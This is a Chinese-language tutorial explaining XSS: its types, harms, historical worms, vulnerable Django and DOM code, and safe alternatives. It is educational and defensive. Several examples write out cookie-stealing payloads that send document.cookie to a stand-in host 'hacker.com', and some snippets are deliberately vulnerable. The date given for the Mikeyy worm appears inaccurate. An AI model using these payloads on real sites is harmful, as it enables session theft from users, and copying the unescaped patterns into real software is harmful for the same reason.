03-1. XSS 基礎:什麼是跨站腳本攻擊?
從零開始理解 XSS 的原理、危害與三種類型
目錄
03-1. XSS 基礎:什麼是跨站腳本攻擊?
⏱️ 閱讀時間: 12 分鐘 🎯 難度: ⭐⭐ (中等) ⚠️ 警告: 本文內容僅供學習與防禦用途,禁止用於非法攻擊
🎯 本篇重點
理解 XSS(Cross-Site Scripting)的基本原理、危害程度、三種類型(Reflected、Stored、DOM-based),以及真實案例。
🤔 什麼是 XSS?
XSS(Cross-Site Scripting,跨站腳本攻擊) = 在網頁中注入惡意 JavaScript,當其他用戶瀏覽時執行
一句話解釋: XSS 就像是在公共佈告欄上貼一張「有毒」的海報,任何看到海報的人都會中毒。
為什麼叫 XSS 不叫 CSS?
原本應該叫 CSS (Cross-Site Scripting)
但 CSS 已經被 Cascading Style Sheets(層疊樣式表)使用
所以改成 XSS(Cross 的 X)技術定義
正常顯示用戶輸入:
用戶輸入:Hello World
網頁顯示:<div>Hello World</div>
XSS 攻擊:
用戶輸入:<script>alert('XSS')</script>
網頁顯示:<div><script>alert('XSS')</script></div>
↑
這段 JavaScript 會被執行!
結果:
其他用戶瀏覽這個頁面時,會看到彈出視窗
(實際攻擊會竊取 Cookie、重定向等)🎨 生活中的比喻
情境:公共佈告欄
正常使用:
你:在佈告欄貼「徵室友」海報
其他人:看到海報,聯絡你
XSS 攻擊:
駭客:貼「掃描此 QR Code 領 $1000」海報
QR Code 連到惡意網站
其他人:掃描 QR Code → 手機被植入病毒
關鍵問題:
佈告欄管理員沒有檢查海報內容
讓惡意海報和正常海報混在一起
無法分辨哪些是危險的技術對應
佈告欄 = 網站頁面
海報 = 用戶輸入(留言、個人資料)
看海報 = 瀏覽頁面
海報內容 = HTML/JavaScript 代碼
管理員沒檢查 = 網站沒有輸出編碼
XSS = 在「公共空間」注入惡意內容
讓所有訪客受害💥 XSS 的危害
危害程度:🔥 高(滿分 5 顆星的 4 顆)
可能後果:
1. 竊取 Cookie/Session
├─ 取得用戶的登入憑證
├─ 冒充用戶身份
└─ 不需要知道密碼就能登入
2. 釣魚攻擊
├─ 顯示假的登入表單
├─ 竊取用戶輸入的密碼
└─ 重定向到惡意網站
3. 鍵盤記錄
├─ 記錄用戶的所有鍵盤輸入
├─ 竊取密碼、信用卡號
└─ 傳送到駭客伺服器
4. 竄改網頁內容
├─ 顯示假資訊
├─ 修改銀行餘額顯示
└─ 插入廣告
5. 散播蠕蟲病毒
├─ 自動複製攻擊代碼
├─ 感染所有訪客
└─ 病毒式傳播
威脅等級:⭐⭐⭐⭐(高)真實案例
案例 1:Twitter(2010)- XSS 蠕蟲
事件:Mikeyy Worm
攻擊方式:
1. 駭客在推文中插入 XSS 代碼
2. 任何人瀏覽該推文 → 自動執行 JavaScript
3. JavaScript 自動發推文(包含同樣的 XSS 代碼)
4. 病毒式傳播
結果:
- 1 小時內感染數千名用戶
- 每個受害者都自動發推文
- 推文內容:「Don't Click: http://malicious-link」
- Twitter 緊急修補漏洞
影響:
- 大規模服務中斷
- 用戶信任度下降
- 媒體大量報導案例 2:MySpace(2005)- Samy 蠕蟲
事件:史上最快傳播的 XSS 蠕蟲
攻擊方式:
1. 駭客 Samy 在個人檔案中插入 XSS 代碼
2. 任何人瀏覽他的檔案 → 自動執行 JavaScript
3. JavaScript 自動:
- 將 Samy 加為好友
- 在受害者檔案中複製同樣的 XSS 代碼
結果:
- 20 小時內感染 100 萬用戶
- 每個受害者的檔案都寫著「Samy is my hero」
- MySpace 被迫關站修復
法律後果:
- Samy 被判 3 年緩刑
- 90 天社區服務
- 禁止使用電腦案例 3:Facebook(2011)
事件:XSS 漏洞竊取 Access Token
攻擊方式:
1. 在 Facebook 留言中插入 XSS 代碼
2. 用戶點擊留言 → 執行 JavaScript
3. 竊取用戶的 Access Token
4. 使用 Token 存取用戶資料
後果:
- 數萬用戶受影響
- 個人資料外洩
- Facebook 緊急修補🔍 XSS 如何發生?
根本原因
網站直接將用戶輸入顯示在頁面上
沒有進行 HTML 轉義(Escape)
危險模式:
response = f"<div>歡迎, {username}</div>"
↑
直接插入用戶輸入,沒有轉義漏洞代碼範例(Django)
# ❌ 危險:不轉義用戶輸入
from django.http import HttpResponse
def welcome(request):
username = request.GET.get('name', 'Guest')
# 直接拼接 HTML
html = f"<h1>歡迎, {username}!</h1>"
return HttpResponse(html)
# 正常使用:
# /welcome?name=John
# 顯示:歡迎, John!
# XSS 攻擊:
# /welcome?name=<script>alert('XSS')</script>
# 顯示:歡迎, <script>alert('XSS')</script>!
# 執行:彈出 'XSS' 視窗
# 真實攻擊:
# /welcome?name=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>
# 結果:Cookie 被發送到駭客伺服器# ❌ 危險:Template 中使用 safe 標籤
from django.shortcuts import render
def show_comment(request, comment_id):
comment = Comment.objects.get(id=comment_id)
return render(request, 'comment.html', {'comment': comment})
# template: comment.html
# {{ comment.content|safe }} ← 危險!關閉自動轉義
# ↑
# 告訴 Django 不要轉義,信任這段 HTML
# 如果 comment.content 包含:
# <script>alert('XSS')</script>
# → 直接執行 JavaScript# ❌ 危險:留言板沒有轉義
def add_comment(request):
content = request.POST.get('content')
Comment.objects.create(content=content)
return redirect('/comments')
def show_comments(request):
comments = Comment.objects.all()
# template 直接顯示
return render(request, 'comments.html', {'comments': comments})
# template: comments.html
{% for comment in comments %}
<div>{{ comment.content|safe }}</div> ← 危險!
{% endfor %}
# 攻擊者發表留言:
# <script>alert('所有人都會看到這個')</script>
# → 每個瀏覽留言板的用戶都會執行這段 JavaScript📊 XSS 的三種類型
類型對比
| 類型 | 儲存位置 | 危害範圍 | 難度 | 持久性 |
|---|---|---|---|---|
| Reflected XSS(反射型) | URL 參數 | 單次攻擊 | 低 | 不持久 |
| Stored XSS(儲存型) | 資料庫 | 所有用戶 | 中 | 持久 |
| DOM-based XSS | JavaScript | 單次攻擊 | 高 | 不持久 |
1️⃣ Reflected XSS(反射型)
原理
攻擊代碼在 URL 中,立即反射回頁面
流程:
1. 駭客構造惡意 URL
http://example.com/search?q=<script>alert('XSS')</script>
2. 誘騙用戶點擊(釣魚郵件、社交媒體)
3. 用戶點擊 → 伺服器將 q 參數顯示在頁面上
4. JavaScript 執行
特點:
✅ 代碼在 URL 中
✅ 不儲存在伺服器
✅ 需要誘騙用戶點擊
✅ 單次攻擊(一次性)範例
# 漏洞代碼
def search(request):
query = request.GET.get('q', '')
# 直接顯示搜尋關鍵字
html = f"<h1>搜尋結果: {query}</h1>"
return HttpResponse(html)
# 正常使用:
# /search?q=python
# 顯示:搜尋結果: python
# XSS 攻擊:
# /search?q=<script>alert(document.cookie)</script>
# 顯示:搜尋結果: <script>alert(document.cookie)</script>
# 執行:顯示用戶的 Cookie攻擊場景
駭客發送釣魚郵件:
主旨:「您的帳號有異常登入」
內容:「請點擊以下連結驗證:
http://yourbank.com/verify?token=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>」
用戶點擊:
1. 連到真實的銀行網站
2. URL 中的 JavaScript 執行
3. Cookie 被發送到駭客伺服器
4. 駭客使用 Cookie 登入用戶帳號2️⃣ Stored XSS(儲存型)
原理
攻擊代碼儲存在資料庫,每次瀏覽都會執行
流程:
1. 駭客在留言板輸入:
<script>alert('XSS')</script>
2. 網站將留言儲存到資料庫(沒有轉義)
3. 任何人瀏覽留言板 → 從資料庫取出留言
4. 留言顯示在頁面上(沒有轉義)
5. JavaScript 執行
特點:
✅ 代碼儲存在資料庫
✅ 持久性攻擊
✅ 影響所有瀏覽者
✅ 最危險的類型範例
# 漏洞代碼
def add_comment(request):
content = request.POST.get('content')
# 直接儲存,沒有過濾
Comment.objects.create(content=content)
return redirect('/comments')
def show_comments(request):
comments = Comment.objects.all()
return render(request, 'comments.html', {'comments': comments})
# template: comments.html
{% for comment in comments %}
<div>{{ comment.content|safe }}</div> ← 危險!
{% endfor %}
# 攻擊者發表留言:
<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
# 結果:
# 每個瀏覽留言板的用戶
# 他們的 Cookie 都被發送到駭客伺服器常見攻擊位置
任何允許用戶輸入並顯示的地方:
✅ 留言板 / 評論
✅ 個人簡介
✅ 論壇帖子
✅ 聊天訊息
✅ 用戶名稱
✅ 產品評論
✅ 部落格文章3️⃣ DOM-based XSS
原理
JavaScript 直接操作 DOM,沒有經過伺服器
流程:
1. 網頁 JavaScript 讀取 URL 參數
2. 直接將參數插入 DOM
3. 如果參數包含 <script>,會被執行
特點:
✅ 完全在客戶端發生
✅ 伺服器無法偵測
✅ 不經過伺服器處理
✅ 前端 JavaScript 的問題範例
<!-- 漏洞代碼 -->
<!DOCTYPE html>
<html>
<head>
<title>搜尋</title>
</head>
<body>
<h1>搜尋結果</h1>
<div id="result"></div>
<script>
// 讀取 URL 參數
const params = new URLSearchParams(window.location.search);
const query = params.get('q');
// 直接插入 DOM(危險!)
document.getElementById('result').innerHTML = '搜尋: ' + query;
</script>
</body>
</html>
<!-- 正常使用: -->
<!-- /search.html?q=python -->
<!-- 顯示:搜尋: python -->
<!-- XSS 攻擊: -->
<!-- /search.html?q=<img src=x onerror=alert('XSS')> -->
<!-- 執行:彈出 'XSS' 視窗 -->危險的 JavaScript 函數
// ❌ 危險:innerHTML
element.innerHTML = userInput;
// ❌ 危險:document.write
document.write(userInput);
// ❌ 危險:eval
eval(userInput);
// ❌ 危險:setTimeout/setInterval(字串參數)
setTimeout(userInput, 1000);
// ❌ 危險:location.href(未驗證)
location.href = userInput;
// ✅ 安全:textContent(只插入文字)
element.textContent = userInput;
// ✅ 安全:setAttribute
element.setAttribute('data-value', userInput);
// ✅ 安全:createElement + appendChild
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);🎓 面試常考題
Q1:什麼是 XSS?有哪三種類型?
A:XSS(Cross-Site Scripting)是跨站腳本攻擊
定義:
在網頁中注入惡意 JavaScript
當其他用戶瀏覽時執行
三種類型:
1. Reflected XSS(反射型)
- 代碼在 URL 中
- 需要誘騙用戶點擊
- 單次攻擊,不持久
- 範例:/search?q=<script>alert('XSS')</script>
2. Stored XSS(儲存型)
- 代碼儲存在資料庫
- 影響所有瀏覽者
- 持久性攻擊
- 最危險
- 範例:留言板、評論
3. DOM-based XSS
- 完全在客戶端發生
- JavaScript 直接操作 DOM
- 不經過伺服器
- 前端問題
記憶口訣:「反存 DOM」Q2:XSS 和 SQL Injection 的差異?
A:攻擊目標和影響範圍不同
SQL Injection:
├─ 目標:資料庫
├─ 影響:所有用戶的資料
├─ 後果:竊取/刪除資料庫
├─ 注入位置:後端 SQL 查詢
└─ 防禦:Prepared Statements
XSS:
├─ 目標:其他用戶的瀏覽器
├─ 影響:瀏覽該頁面的用戶
├─ 後果:竊取 Cookie、冒充身份
├─ 注入位置:前端 HTML/JavaScript
└─ 防禦:輸出編碼(HTML Escape)
共同點:
都是「注入」攻擊,注入惡意代碼
關鍵差異:
- SQL Injection:攻擊伺服器和資料庫
- XSS:攻擊其他用戶的瀏覽器Q3:為什麼 Stored XSS 最危險?
A:因為持久性攻擊,影響所有用戶
Reflected XSS:
├─ 需要誘騙用戶點擊連結
├─ 單次攻擊
├─ 影響點擊連結的用戶
└─ 危害:中
Stored XSS:
├─ 攻擊代碼儲存在資料庫
├─ 持續存在
├─ 影響所有瀏覽者
├─ 無需用戶交互
└─ 危害:高
範例:
留言板 Stored XSS
1. 駭客發表惡意留言(一次)
<script>fetch('http://hacker.com/steal?cookie='+document.cookie)</script>
2. 留言儲存在資料庫
3. 每個瀏覽留言板的用戶
→ Cookie 被竊取
4. 駭客收集到成百上千個 Cookie
→ 可以冒充所有用戶
持久性 + 廣泛影響 = 最危險
真實案例:
MySpace Samy 蠕蟲
- 20 小時感染 100 萬用戶
- 每個受害者的檔案都被植入攻擊代碼
- 指數級傳播✅ 重點回顧
XSS 定義:
- 在網頁中注入惡意 JavaScript
- 當其他用戶瀏覽時執行
- 攻擊目標是其他用戶的瀏覽器
三種類型:
- Reflected XSS(反射型):URL 中,需誘騙點擊,單次攻擊
- Stored XSS(儲存型):資料庫中,持久攻擊,最危險
- DOM-based XSS:客戶端,JavaScript 操作 DOM
危害:
- 竊取 Cookie/Session(冒充身份)
- 釣魚攻擊(假登入表單)
- 鍵盤記錄(竊取密碼)
- 竄改網頁內容
- 散播蠕蟲病毒
真實案例:
- Twitter XSS 蠕蟲(2010)
- MySpace Samy 蠕蟲(2005,100 萬用戶)
- Facebook XSS(2011)
漏洞原因:
- 沒有對用戶輸入進行 HTML 轉義
- 直接將用戶輸入顯示在頁面上
- Django 使用
|safe標籤
記憶口訣: 「反存 DOM 偷改傳」= 反射型、儲存型、DOM-based、偷 Cookie、改內容、傳病毒
下一步: 深入學習三種 XSS 類型的攻擊手法與防禦方法
上一篇: 02-3. SQL Injection 防禦 下一篇: 03-2. Reflected XSS(反射型)
最後更新:2025-01-16